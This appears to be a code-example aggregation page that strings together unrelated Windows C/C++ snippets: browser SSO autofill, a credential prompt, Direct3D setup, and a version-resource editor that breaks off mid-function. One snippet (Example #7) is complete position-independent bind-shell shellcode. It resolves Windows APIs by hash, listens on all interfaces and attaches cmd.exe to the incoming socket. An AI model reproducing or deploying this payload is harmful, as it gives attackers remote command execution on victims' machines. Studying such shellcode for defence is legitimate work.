	DoWebAccessible(w,pAccessible,&tSuivi);
#endif
	
	TRACE((TRACE_INFO,_F_,"tSuivi.iErreur=%d",tSuivi.iErreur));
	if (tSuivi.iErreur==0) 
	{
		ptSuivi=&tSuivi;
		vtChild.vt=VT_I4;
		vtChild.lVal=CHILDID_SELF;
		
		// 0.93B1 / ISSUE#40 : avant de démarrer les saisies, il faut vérifier qu'on a trouvé tous les champs attendus
		// En effet, comme on ne cherche plus les champs par leurs noms, on peut provoquer des mises au premier plan intempestives
		// de la fenêtre du navigateur si le titre et l'URL ne permettent pas de reconnaitre la page de login de manière certaine
		TRACE((TRACE_INFO,_F_,"Page analysee, verification (lCount=%d ptSuivi->iTextFieldIndex=%d)",lCount,ptSuivi->iTextFieldIndex));
		// 0.99B3 / ISSUE#103 : En mode configration simplifiée, la position du champ identifiant est considérée comme absolue 
		//                      si le champ de mot de passe est configuré à 0
		// if (*gptActions[ptSuivi->iAction].szPwdName!=0 && ptSuivi->iPwdIndex==-1)
		if (*gptActions[ptSuivi->iAction].szPwdName!=0 && atoi(gptActions[ptSuivi->iAction].szPwdName)!=0 && ptSuivi->iPwdIndex==-1)
		{
			TRACE((TRACE_ERROR,_F_,"Un champ mot de passe etait attendu mais n'a pas ete trouve => le SSO ne sera pas execute"));
			goto end;
		}
		iId1Index=GetAbsolutePos(gptActions[ptSuivi->iAction].szId1Name,gptActions[ptSuivi->iAction].szPwdName,ptSuivi->iPwdIndex,ptSuivi);
		iId2Index=GetAbsolutePos(gptActions[ptSuivi->iAction].szId2Name,gptActions[ptSuivi->iAction].szPwdName,ptSuivi->iPwdIndex,ptSuivi);
		iId3Index=GetAbsolutePos(gptActions[ptSuivi->iAction].szId3Name,gptActions[ptSuivi->iAction].szPwdName,ptSuivi->iPwdIndex,ptSuivi);
		iId4Index=GetAbsolutePos(gptActions[ptSuivi->iAction].szId4Name,gptActions[ptSuivi->iAction].szPwdName,ptSuivi->iPwdIndex,ptSuivi);
		if (iId1Index==-1 || iId2Index==-1 || iId3Index==-1 || iId4Index==-1)
		{
			TRACE((TRACE_ERROR,_F_,"Au moins un des champs n'a pas ete trouve => le SSO ne sera pas execute"));
			goto end;
		}
		
		// Vérification OK, on peut mettre la fenêtre au premier plan et démarrer les saisies 
		TRACE((TRACE_INFO,_F_,"Verifications OK, demarrage des saisies (lCount=%d ptSuivi->iTextFieldIndex=%d)",lCount,ptSuivi->iTextFieldIndex));
		SetForegroundWindow(ptSuivi->w);
		
		// ISSUE#266 : Bidouille contournement incident ouvert sur chromium : 533830
		if (iBrowser==BROWSER_CHROME && gpAccessibleChromeURL!=NULL)
		{
			VARIANT vtSelf;
			VARIANT vtURLBarState;
			vtSelf.vt=VT_I4;
			vtSelf.lVal=CHILDID_SELF;
			hr=gpAccessibleChromeURL->get_accState(vtSelf,&vtURLBarState);
			TRACE((TRACE_DEBUG,_F_,"get_accState() vtURLBarState.lVal=0x%08lx",vtURLBarState.lVal));
			if (vtURLBarState.lVal & STATE_SYSTEM_FOCUSED)
			{
				TRACE((TRACE_INFO,_F_,"BIDOUILLE BARRE URL CHROME !")); // on tabule jusqu'à mettre le focus sur champ id1 ou pwd
				KBSimEx(w,"[TAB]","","","","","");
				int iAntiLoop=0;
				VARIANT vtIdOrPwdState;
				vtIdOrPwdState.lVal=0;
				while ((!(vtIdOrPwdState.lVal & STATE_SYSTEM_FOCUSED)) && iAntiLoop <10)
				{
					KBSimEx(w,"[TAB]","","","","","");
					Sleep(10);
					if (iId1Index>=0)
					{
						hr=ptSuivi->pTextFields[iId1Index]->accSelect(SELFLAG_TAKEFOCUS,vtChild);
						TRACE((TRACE_DEBUG,_F_,"accSelect(id1)=0x%08lx",hr));
						hr=ptSuivi->pTextFields[iId1Index]->get_accState(vtSelf,&vtIdOrPwdState);
						TRACE((TRACE_DEBUG,_F_,"get_accState(id1)=0x%08lx vtId1State.lVal=0x%08lx",hr,vtIdOrPwdState.lVal));
					}
					else if (ptSuivi->iPwdIndex!=-1)
					{
						hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->accSelect(SELFLAG_TAKEFOCUS,vtChild);
						TRACE((TRACE_DEBUG,_F_,"accSelect(pwd)=0x%08lx",hr));
						hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->get_accState(vtSelf,&vtIdOrPwdState);
						TRACE((TRACE_DEBUG,_F_,"get_accState(pwd)=0x%08lx vtId1State.lVal=0x%08lx",hr,vtIdOrPwdState.lVal));
					}
					else // tant pis, cas à peu près impossible, on sort
					{
						break;
					}
					iAntiLoop++;
				}
			}
		}
		// fin bidouille chrome
		if (iId1Index>=0) PutAccValue(ptSuivi->w,ptSuivi->pTextFields[iId1Index],vtChild,gptActions[ptSuivi->iAction].szId1Value);
		if (iId2Index>=0) PutAccValue(ptSuivi->w,ptSuivi->pTextFields[iId2Index],vtChild,gptActions[ptSuivi->iAction].szId2Value);
		if (iId3Index>=0) PutAccValue(ptSuivi->w,ptSuivi->pTextFields[iId3Index],vtChild,gptActions[ptSuivi->iAction].szId3Value);
		if (iId4Index>=0) PutAccValue(ptSuivi->w,ptSuivi->pTextFields[iId4Index],vtChild,gptActions[ptSuivi->iAction].szId4Value);
		
		// Mdp
		if (ptSuivi->iPwdIndex!=-1)
		{
			// CODE A GARDER POUR BUGS OUVERTS CHEZ CHROME #75908 et #75911
			/*
			int iAntiLoop=0;
			hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->accSelect(SELFLAG_TAKEFOCUS,vtChild);
			if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"accSelect(SELFLAG_TAKEFOCUS)=0x%08lx",hr)); } 
			TRACE((TRACE_DEBUG,_F_,"accSelect(SELFLAG_TAKEFOCUS)=0x%08lx",hr));
			VARIANT vtSelf;
			VARIANT vtState;
			vtSelf.vt=VT_I4;
			vtSelf.lVal=CHILDID_SELF;
			hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->get_accState(vtSelf,&vtState);
			TRACE((TRACE_DEBUG,_F_,"get_accState() vtState.lVal=0x%08lx",vtState.lVal));
			while (iAntiLoop <50)
			//while ((!(vtState.lVal & STATE_SYSTEM_FOCUSED)) && iAntiLoop <10)
			{
				Sleep(100);
				KBSimEx(w,"[TAB]","","","","","");
				Sleep(100);
				hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->get_accState(vtSelf,&vtState);
				if (FAILED(hr)) { TRACE((TRACE_ERROR,_F_,"get_accState(CHILDID_SELF)=0x%08lx",hr)); }
				TRACE((TRACE_DEBUG,_F_,"get_accState() vtState.lVal=0x%08lx",vtState.lVal));
				iAntiLoop++;
			}
			*/
			Sleep(100); // ISSUE#163 (et autres problèmes, notamment identifiant saisi tronqué avec le reste dans le mot de passe)

			hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->accSelect(SELFLAG_TAKEFOCUS,vtChild);
			if (FAILED(hr)) // ISSUE#251 : en cas d'erreur du accSelect (vu UNE fois), on fait TAB à l'aveugle, ça évite de taper le mdp dans le champ id
			{ 
				TRACE((TRACE_ERROR,_F_,"accSelect(SELFLAG_TAKEFOCUS)=0x%08lx",hr)); 
				// remarque : nombre de tab à faire = fonction de la position relative du champ id par rapport au champ mdp
				Sleep(100);
				for (i=0; i<abs(atoi(gptActions[ptSuivi->iAction].szId1Name));i++) { KBSimEx(w,"[TAB]","","","","",""); }
				Sleep(100);
			} 
			if ((*gptActions[ptSuivi->iAction].szPwdEncryptedValue!=0))
			{
				//char *pszPassword=swCryptDecryptString(gptActions[ptSuivi->iAction].szPwdEncryptedValue,ghKey1);
				char *pszPassword=GetDecryptedPwd(gptActions[ptSuivi->iAction].szPwdEncryptedValue);
				if (pszPassword!=NULL) 
				{
					// 1.09B2 : essaie de faire put_accValue avant de se rabattre sur la simulation de frappe
					BSTR bstrValue=GetBSTRFromSZ(pszPassword);
					hr=S_OK;
					if (bstrValue!=NULL)
					{
						hr=ptSuivi->pTextFields[ptSuivi->iPwdIndex]->put_accValue(vtChild,bstrValue);
						TRACE((TRACE_INFO,_F_,"pAccessible->put_accValue() : hr=0x%08lx",hr));
					}
					if (bstrValue==NULL || FAILED(hr))
					{
						KBSim(ptSuivi->w,TRUE,100,pszPassword,TRUE);			
					}
					if (bstrValue!=NULL)
					{
						SecureZeroMemory(bstrValue,SysStringByteLen(bstrValue));
						SysFreeString(bstrValue); bstrValue=NULL;
					}
					SecureZeroMemory(pszPassword,strlen(pszPassword));
					free(pszPassword);
				}
			}
		}
		// Validation si demandée
		if (*gptActions[ptSuivi->iAction].szValidateName!=0)
		{
			Sleep(100);
			// ISSUE#101
			// KBSimEx(NULL,gptActions[ptSuivi->iAction].szValidateName,"","","","","");
			// ISSUE#101 suite : on autorise aussi le mot de passe sinon c'est naze...
			char szDecryptedPassword[LEN_PWD+1];
			// char *pszPassword=swCryptDecryptString(gptActions[ptSuivi->iAction].szPwdEncryptedValue,ghKey1);
			char *pszPassword=GetDecryptedPwd(gptActions[ptSuivi->iAction].szPwdEncryptedValue);
			if (pszPassword!=NULL) 
			{
				strcpy_s(szDecryptedPassword,sizeof(szDecryptedPassword),pszPassword);
				SecureZeroMemory(pszPassword,strlen(pszPassword));
				free(pszPassword);
			}
			else
			{
				*szDecryptedPassword=0;
			}

			KBSimEx(NULL,gptActions[ptSuivi->iAction].szValidateName,
						 gptActions[iAction].szId1Value,
						 gptActions[iAction].szId2Value,
						 gptActions[iAction].szId3Value,
						 gptActions[iAction].szId4Value,szDecryptedPassword);
			SecureZeroMemory(szDecryptedPassword,sizeof(szDecryptedPassword));
		}
		guiNbWEBSSO++;
	}
	rc=0;
end:
	for (i=0;i<MAX_TEXT_FIELDS;i++)	if (tSuivi.pTextFields[i]!=NULL) tSuivi.pTextFields[i]->Release();
	if (pAccessible!=NULL) pAccessible->Release();
	if (pTopAccessible!=NULL) pTopAccessible->Release();
	if (pIDispatch!=NULL) pIDispatch->Release();
	if (pNiveau0!=NULL) pNiveau0->Release();
	if (pChildNiveau1!=NULL) pChildNiveau1->Release();
	if (pChildNiveau2!=NULL) pChildNiveau2->Release();
	if (gpAccessibleChromeURL!=NULL) { gpAccessibleChromeURL->Release(); gpAccessibleChromeURL=NULL; }

	TRACE((TRACE_LEAVE,_F_, "rc=%d",rc));
	return rc;
}
Example #4
0
static DWORD FspNpGetCredentials(
    HWND hwndOwner, PWSTR Caption, DWORD PrevNpResult,
    DWORD CredentialsKind,
    PBOOL PSave,
    PWSTR UserName, ULONG UserNameSize/* in chars */,
    PWSTR Password, ULONG PasswordSize/* in chars */)
{
    DWORD NpResult;
    CREDUI_INFOW UiInfo;

    memset(&UiInfo, 0, sizeof UiInfo);
    UiInfo.cbSize = sizeof UiInfo;
    UiInfo.hwndParent = hwndOwner;
    UiInfo.pszCaptionText = Caption;
    UiInfo.pszMessageText = L"Enter credentials to unlock this file system.";

#if !defined(FSP_NP_CREDUI_PROMPT_NEW)
    NpResult = CredUIPromptForCredentialsW(&UiInfo, L"NONE", 0, 0,
        UserName, UserNameSize,
        Password, PasswordSize,
        PSave,
        CREDUI_FLAGS_GENERIC_CREDENTIALS |
        CREDUI_FLAGS_DO_NOT_PERSIST |
        CREDUI_FLAGS_ALWAYS_SHOW_UI |
        (0 != PrevNpResult ? CREDUI_FLAGS_INCORRECT_PASSWORD : 0) |
        (0 != PSave ? CREDUI_FLAGS_SHOW_SAVE_CHECK_BOX : 0) |
        (FSP_NP_CREDENTIALS_PASSWORD == CredentialsKind ? 0/*CREDUI_FLAGS_KEEP_USERNAME*/ : 0));
#else
    WCHAR Domain[CREDUI_MAX_DOMAIN_TARGET_LENGTH + 1];
    ULONG AuthPackage = 0;
    PVOID InAuthBuf = 0, OutAuthBuf = 0;
    ULONG InAuthSize, OutAuthSize, DomainSize;

    InAuthSize = 0;
    if (!CredPackAuthenticationBufferW(
            CRED_PACK_GENERIC_CREDENTIALS, UserName, Password, 0, &InAuthSize) &&
        ERROR_INSUFFICIENT_BUFFER != GetLastError())
    {
        NpResult = GetLastError();
        goto exit;
    }

    InAuthBuf = MemAlloc(InAuthSize);
    if (0 == InAuthBuf)
    {
        NpResult = ERROR_NO_SYSTEM_RESOURCES;
        goto exit;
    }

    if (!CredPackAuthenticationBufferW(
        CRED_PACK_GENERIC_CREDENTIALS, UserName, Password, InAuthBuf, &InAuthSize))
    {
        NpResult = GetLastError();
        goto exit;
    }

    NpResult = CredUIPromptForWindowsCredentialsW(&UiInfo, PrevNpResult,
        &AuthPackage, InAuthBuf, InAuthSize, &OutAuthBuf, &OutAuthSize, PSave,
        CREDUIWIN_GENERIC | (0 != PSave ? CREDUIWIN_CHECKBOX : 0));
    if (ERROR_SUCCESS != NpResult)
        goto exit;

    DomainSize = sizeof Domain / sizeof Domain[0];
    if (!CredUnPackAuthenticationBufferW(0, OutAuthBuf, OutAuthSize,
        UserName, &UserNameSize, Domain, &DomainSize, Password, &PasswordSize))
    {
        NpResult = GetLastError();
        goto exit;
    }

    NpResult = ERROR_SUCCESS;

exit:
    if (0 != OutAuthBuf)
    {
        SecureZeroMemory(OutAuthBuf, OutAuthSize);
        CoTaskMemFree(OutAuthBuf);
    }

    if (0 != InAuthBuf)
    {
        SecureZeroMemory(InAuthBuf, InAuthSize);
        MemFree(InAuthBuf);
    }
#endif

    return NpResult;
}
Example #5
0
SwapChain::SwapChain(HWND hwnd,ID3D11Device* pd3dDevice, IDXGIFactory1* pDXGIFactory1)
	: m_pd3dDevice(pd3dDevice),
      m_pDXGIFactory1(pDXGIFactory1),
	  m_pSwapChain(NULL)
	 
{	    
    m_multiSampleCount = 4;
    m_multiSampleQuality = 0;    
	UINT backbufferQuality;
	m_pd3dDevice->CheckMultisampleQualityLevels(DXGI_FORMAT_R8G8B8A8_UNORM,m_multiSampleCount,&backbufferQuality);

	UINT depthQuality;
	m_pd3dDevice->CheckMultisampleQualityLevels(DXGI_FORMAT_D24_UNORM_S8_UINT,m_multiSampleCount,&depthQuality);

    UINT maxQuality = 4;
    m_multiSampleQuality = min(maxQuality,(min(backbufferQuality,depthQuality)-1)); 
    if(m_multiSampleQuality < 1)
    {
        // reset sample count.
        m_multiSampleCount = 1;
    }
	// create swap chain, render target view, depth buffer.
	RECT rc;
    GetClientRect( hwnd, &rc );
    UINT width = rc.right - rc.left;
    UINT height = rc.bottom - rc.top;
	if(width == 0) width = 16;
	if(height == 0) height = 16;


	DXGI_SWAP_CHAIN_DESC sd;
    SecureZeroMemory( &sd, sizeof( sd ) );
    sd.BufferCount = 1;
    sd.BufferDesc.Width = width;
    sd.BufferDesc.Height = height;
    sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM_SRGB;
    sd.BufferDesc.RefreshRate.Numerator = 60;
    sd.BufferDesc.RefreshRate.Denominator = 1;
    sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT;
    sd.OutputWindow = hwnd;
    sd.SampleDesc.Count = GetMultiSampleCount();
    sd.SampleDesc.Quality = GetMultiSampleQuality();
    sd.Windowed = TRUE;

	// create swap chain.
	HRESULT hr = S_OK;		
	hr = m_pDXGIFactory1->CreateSwapChain(m_pd3dDevice,&sd,&m_pSwapChain);
	if (Logger::IsFailureLog(hr, L"CreateSwapChain"))
	{
		return;
	}

	// Create a render target view
    ID3D11Texture2D* pBackBuffer = NULL;
    hr = m_pSwapChain->GetBuffer( 0, __uuidof( ID3D11Texture2D ), ( LPVOID* )&pBackBuffer );
    if (Logger::IsFailureLog(hr, L"GetBuffer"))
	{
		return;
	}
    DXUtil::SetDebugName(pBackBuffer, "renderTarget" );  

    m_pColorBuffer = new Texture(pBackBuffer,false);

    /*D3D11_RENDER_TARGET_VIEW_DESC rtv;
    SecureZeroMemory( &rtv, sizeof( rtv ) );
    rtv.Format = DXGI_FORMAT_R8G8B8A8_UNORM_SRGB;
    rtv.ViewDimension = sd.SampleDesc.Quality == 0 ?        
        D3D11_RTV_DIMENSION_TEXTURE2D : D3D11_RTV_DIMENSION_TEXTURE2DMS;*/
                    
    hr = m_pd3dDevice->CreateRenderTargetView( pBackBuffer, NULL, &m_pRenderTargetView );
        
    if (Logger::IsFailureLog(hr, L"CreateRenderTargetView"))
	{
		return;
	}        

    DXUtil::SetDebugName(m_pRenderTargetView,"renderTargetView");
    
	// Create the depth stencil view
    D3D11_TEXTURE2D_DESC descDepth;
	SecureZeroMemory( &descDepth, sizeof(descDepth) );
    descDepth.Width = width;
    descDepth.Height = height;
    descDepth.MipLevels = 1;
    descDepth.ArraySize = 1;
    descDepth.Format = DXGI_FORMAT_D24_UNORM_S8_UINT;
    descDepth.SampleDesc.Count = GetMultiSampleCount();
    descDepth.SampleDesc.Quality = GetMultiSampleQuality();
    descDepth.Usage = D3D11_USAGE_DEFAULT;
    descDepth.BindFlags = D3D11_BIND_DEPTH_STENCIL;
    descDepth.CPUAccessFlags = 0;
    descDepth.MiscFlags = 0;
    ID3D11Texture2D* pDepthStencil; 
    hr = m_pd3dDevice->CreateTexture2D( &descDepth, NULL, &pDepthStencil);
    if (Logger::IsFailureLog(hr, L"CreateTexture2D"))
	{
		return;
	}        

    DXUtil::SetDebugName(pDepthStencil,"depth buffer"  );
  

    m_pDepthStencilBuffer = new Texture(pDepthStencil,false);
   
    hr = m_pd3dDevice->CreateDepthStencilView( pDepthStencil, NULL, &m_pDepthStencilView );
	if (Logger::IsFailureLog(hr, L"CreateDepthStencilView"))
	{
		return;
	}

    // create depth buffer for Forground scene
    ID3D11Texture2D* pDepthStencilFg; 
    hr = m_pd3dDevice->CreateTexture2D( &descDepth, NULL, &pDepthStencilFg);
    if (Logger::IsFailureLog(hr, L"CreateTexture2D"))
        return;
    hr = m_pd3dDevice->CreateDepthStencilView( pDepthStencilFg, NULL, &m_pDepthStencilViewFg );
	if (Logger::IsFailureLog(hr, L"CreateDepthStencilView"))
        return;
    pDepthStencilFg->Release();
	
    m_width = width;
	m_height = height;	

    m_viewport.TopLeftX = 0.0f;
    m_viewport.TopLeftY = 0.0f;
    m_viewport.Width    = (float)(m_width);
    m_viewport.Height   = (float)(m_height);
    m_viewport.MinDepth = 0.0f;
    m_viewport.MaxDepth = 1.0f;


    DXUtil::SetDebugName(m_pDepthStencilView,"depth buffer view");
    
    Logger::Log(OutputMessageType::Debug, "swapchain created %d %d\n",m_width,m_height);

    
}
 void PrepareSocket( void )
 {
   SecureZeroMemory( &socketAddress_, sizeof( socketAddress_ ) );
   socketAddress_.sin_family = AF_INET;
 }
Example #7
0
// Write the logic for the primary payload here
// Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
// Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload( VOID )
{
	FuncLoadLibraryA MyLoadLibraryA;
	FuncWsaStartup MyWSAStartup;
	FuncWsaSocketA MyWSASocketA;
	FuncBind MyBind;
	FuncListen MyListen;
	FuncAccept MyAccept;
	FuncCloseSocket MyCloseSocket;
	FuncCreateProcess MyCreateProcessA;
	FuncWaitForSingleObject MyWaitForSingleObject;
	WSADATA WSAData;
	SOCKET s;
	SOCKET AcceptedSocket;
	struct sockaddr_in service;
	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInformation;
	// Strings must be treated as a char array in order to prevent them from being stored in
	// an .rdata section. In order to maintain position independence, all data must be stored
	// in the same section. Thanks to Nick Harbour for coming up with this technique:
	// http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
	char cmdline[] = { 'c', 'm', 'd', 0 };
	char module[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };

	// Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module
	SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
	SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));

	#pragma warning( push )
	#pragma warning( disable : 4055 ) // Ignore cast warnings
	// Should I be validating that these return a valid address? Yes... Meh.
	MyLoadLibraryA = (FuncLoadLibraryA) GetProcAddressWithHash( 0x0726774C );

	// You must call LoadLibrary on the winsock module before attempting to resolve its exports.
	MyLoadLibraryA((LPTSTR) module);

	MyWSAStartup =			(FuncWsaStartup) GetProcAddressWithHash( 0x006B8029 );
	MyWSASocketA =			(FuncWsaSocketA) GetProcAddressWithHash( 0xE0DF0FEA );
	MyBind =				(FuncBind) GetProcAddressWithHash( 0x6737DBC2 );
	MyListen =				(FuncListen) GetProcAddressWithHash( 0xFF38E9B7 );
	MyAccept =				(FuncAccept) GetProcAddressWithHash( 0xE13BEC74 );
	MyCloseSocket =			(FuncCloseSocket) GetProcAddressWithHash( 0x614D6E75 );
	MyCreateProcessA =		(FuncCreateProcess) GetProcAddressWithHash( 0x863FCC79 );
	MyWaitForSingleObject =	(FuncWaitForSingleObject) GetProcAddressWithHash( 0x601D8708 );
	#pragma warning( pop )

	MyWSAStartup( MAKEWORD( 2, 2 ), &WSAData );
	s = MyWSASocketA( AF_INET, SOCK_STREAM, 0, NULL, 0, 0 );

	service.sin_family = AF_INET;
	service.sin_addr.s_addr = 0; // Bind to 0.0.0.0
	service.sin_port = HTONS( BIND_PORT );

	MyBind( s, (SOCKADDR *) &service, sizeof(service) );
	MyListen( s, 0 );
	AcceptedSocket = MyAccept( s, NULL, NULL );
	MyCloseSocket( s );

	StartupInfo.hStdError = (HANDLE) AcceptedSocket;
	StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
	StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
	StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	StartupInfo.cb = 68;

	MyCreateProcessA( 0, (LPTSTR) cmdline, 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
	MyWaitForSingleObject( ProcessInformation.hProcess, INFINITE );
}
Example #8
0
int main(void)
{
	bool dumpInfo = false, showHelp = false, unknown = false;
	bool replaceFileVer = false, replaceProductVer = false, validFilePath = false;
	int nArgs = 0;
	WCHAR filePath[MAX_PATH];
	AppVersion appVersion;
	WCHAR *newFileVersion = 0;
	WCHAR *newProductVersion = 0;
	HANDLE resource = 0;
	WCHAR *companyName = 0;
	bool replaceCompanyName = false, replaceFileDescription = false;
	WCHAR *fileDescription = 0;
	WCHAR *internalName = 0;
	bool replaceInternalName = false, replaceClopy = false;
	WCHAR *clopyright = 0;
	WCHAR *originalName = 0;
	WCHAR *productName = 0;
	bool replaceOriginalName = false, replaceProductName = false;
	WCHAR *stringFileVersion = 0;
	WCHAR *stringProductVersion = 0;
	bool replaceStringFileVersion = false, replaceStringProductVersion = false;

	LPWSTR *args = CommandLineToArgvW(GetCommandLineW(), &nArgs);

	if (args != NULL)
	{

		if (nArgs < 2)
		{
			printUsage();
			return EXIT_FAILURE;
		}

		for (int i = 0; i < nArgs; i++)
		{
			if (args[i] != NULL && args[i][0] == '-')
			{
				switch (args[i][1])
				{

				case 'i':dumpInfo = true; break;

				case 'h':showHelp = true; break;

				case 'f':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						if (FileExists(args[i + 1]))
						{
							wcsncpy_s(filePath, MAX_PATH, args[++i], _TRUNCATE);
							validFilePath = true;
							break;
						}
					}
					PRINT("You have to specify a valid file path.");
					SetLastError(ERROR_FILE_NOT_FOUND);
					exit(EXIT_FAILURE);

				case 'v':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						newFileVersion = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (newFileVersion == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(newFileVersion, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(newFileVersion, count + 1, args[++i], _TRUNCATE);
						replaceFileVer = true;
					}
					break;

				case 'p':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						newProductVersion = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (newProductVersion == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(newProductVersion, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(newProductVersion, count + 1, args[++i], _TRUNCATE);
						replaceProductVer = true;
					}
					break;

				case 'c':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						companyName = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (companyName == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(companyName, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(companyName, count + 1, args[++i], _TRUNCATE);
						replaceCompanyName = true;
					}
					break;

				case 'd':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						fileDescription = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (fileDescription == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(fileDescription, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(fileDescription, count + 1, args[++i], _TRUNCATE);
						replaceFileDescription = true;
					}
					break;

				case 'n':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						internalName = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (internalName == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(internalName, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(internalName, count + 1, args[++i], _TRUNCATE);
						replaceInternalName = true;
					}
					break;

				case 'l':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						clopyright = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (clopyright == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(clopyright, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(clopyright, count + 1, args[++i], _TRUNCATE);
						replaceClopy = true;
					}
					break;

				case 'r':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						originalName = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (originalName == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(originalName, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(originalName, count + 1, args[++i], _TRUNCATE);
						replaceOriginalName = true;
					}
					break;

				case 'u':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						productName = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (productName == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(productName, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(productName, count + 1, args[++i], _TRUNCATE);
						replaceProductName = true;
					}
					break;

				case 'e':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						stringFileVersion = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (stringFileVersion == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(stringFileVersion, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(stringFileVersion, count + 1, args[++i], _TRUNCATE);
						replaceStringFileVersion = true;
					}
					break;

				case 'o':
					if (args[i + 1] && args[i + 1][0] != '-')
					{
						int count = strLenW(args[i + 1]);
						stringProductVersion = (WCHAR*)malloc((count + 1) * sizeof(WCHAR));
						if (stringProductVersion == NULL)
						{
							exit(EXIT_FAILURE);
						}
						SecureZeroMemory(stringProductVersion, (count + 1) * sizeof(WCHAR));
						wcsncpy_s(stringProductVersion, count + 1, args[++i], _TRUNCATE);
						replaceStringProductVersion = true;
					}
					break;

				case '-':
					break;

				default:unknown = true;

				}
			}
		}
		LocalFree(args);
	}

	if (unknown)
	{
		PRINT("Unrecognized option\n");
		printUsage();
		return EXIT_FAILURE;
	}

	if (showHelp)
	{
		printUsage();
		return EXIT_SUCCESS;
	}

	if (dumpInfo && validFilePath)
	{
		if (GetVerInfo(&appVersion, filePath))
		{
			printf("File version: %d.%d.%d.%d\n",
				appVersion.FileMajor,
				appVersion.FileMinor,
				appVersion.FileBuild,
				appVersion.FileRevision);

			printf("Product version: %d.%d.%d.%d\n",
				appVersion.ProductMajor,
				appVersion.ProductMinor,
				appVersion.ProductBuild,
				appVersion.ProductRevision);

			printf("Language: %d\n", appVersion.Language);

			printf("CodePage: %d\n", appVersion.CodePage);

			wprintf(L"Company Name: %s\n"
				L"File Description: %s\n"
				L"File Version: %s\n"
				L"Internal Name: %s\n"
				L"Copyright: %s\n"
				L"Original Name: %s\n"
				L"Product Name: %s\n"
				L"Product Version: %s\n",
				appVersion.CompanyName,
				appVersion.FileDescription,
				appVersion.FileVersion,
				appVersion.InternalName,
				appVersion.Copyright,
				appVersion.OriginalName,
				appVersion.ProductName,
				appVersion.ProductVersion
				);

			SAFE_FREE(appVersion.CompanyName);
			SAFE_FREE(appVersion.FileDescription);
			SAFE_FREE(appVersion.FileVersion);
			SAFE_FREE(appVersion.InternalName);
			SAFE_FREE(appVersion.Copyright);
			SAFE_FREE(appVersion.OriginalName);
			SAFE_FREE(appVersion.ProductName);
			SAFE_FREE(appVersion.ProductVersion);
		}
	}

	if (replaceFileVer && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateVersion(resource, filePath, newFileVersion, true);

		ResClose(resource);

		SAFE_FREE(newFileVersion);
	}

	if (replaceProductVer && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateVersion(resource, filePath, newProductVersion, false);

		ResClose(resource);

		SAFE_FREE(newProductVersion);
	}

	if (replaceCompanyName && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, COMPANY_QUERY, companyName);

		ResClose(resource);

		SAFE_FREE(companyName);
	}

	if (replaceFileDescription && validFilePath)
	{
